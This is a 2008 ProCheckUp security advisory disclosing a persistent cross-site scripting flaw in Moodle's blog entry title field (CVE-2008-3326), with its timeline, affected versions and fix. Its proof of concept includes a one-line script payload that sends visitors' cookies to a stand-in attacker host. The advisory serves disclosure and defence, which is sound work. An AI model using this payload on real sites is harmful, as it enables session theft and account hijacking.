PR08-13: Persistent Cross-site Scripting (XSS) on Moodle via blog entry title
Vulnerability found: 20/06/2008
Vendor informed: 25/06/2008
Vulnerability fixed: 16/07/2008
Advisory publicly released: 22/07/2008
Severity: High
CVE reference: CVE-2008-3326
Description:
By creating a new blog entry ('/blog/edit.php') with a malicious entry title ('etitle' parameter), it is possible to inject unrestricted JavaScript and HTML *persistently* into the application. The malicious code would be returned (and executed) on the main blog section of the site ('/blog/') which can be viewed by any type of account (i.e.: guest, student, teacher, administrator, etc).
Notes:
- Prerequisite for successful exploitation is blogs being enabled and attacker's account having capabilities to add new entries.
- Moodle reveals its version within HTML source code. i.e.: <a title="moodle 1.6.5 + (2006050550)" href="http://moodle.org/">
Proof of concept:
Example of malicious code to be injected as a new blog entry title. Such code forwards the cookies of any users who access the blog section of the site to a third-party website:
<script>location='http://evil.foo/x.php?'+document.cookie</script>
The proof of concept was tested on the following environment:
Server: Apache/2.2.2 (Unix) PHP/5.2.1 mod_ssl/2.2.2 OpenSSL/0.9.7l
Moodle 1.6.5 + (2006050550)
Consequences:
It is possible to hijack any account (including privileged ones) by stealing the victim's session ID (stored in cookies), or inject a spoof HTML login form for phishing purposes. Other attacks are also possible.
Versions affected as confirmed by the vendor: 1.7.3, 1.7.4, 1.6.5, 1.7.2, 1.7.1, 1.7, 1.6.6, 1.6.4, 1.6.3, 1.6.2, 1.6.1, 1.6
Fix:
Upgrade to 1.6.7, 1.7.5 or any recent nightly or use patch http://cvs.moodle.org/moodle/blog/lib.php?r1=1.38.6.3&r2=1.38.6.2. This issue has been tracked as MDL-15392.
References:
http://moodle.org/mod/forum/discuss.php?d=101401
http://www.procheckup.com/Vulnerabilities.php
Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd. (www.procheckup.com) ProCheckUp would like to thank Petr Skoda and the rest of the Moodle team for their excellent response time and cooperation towards resolving this matter.
Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.
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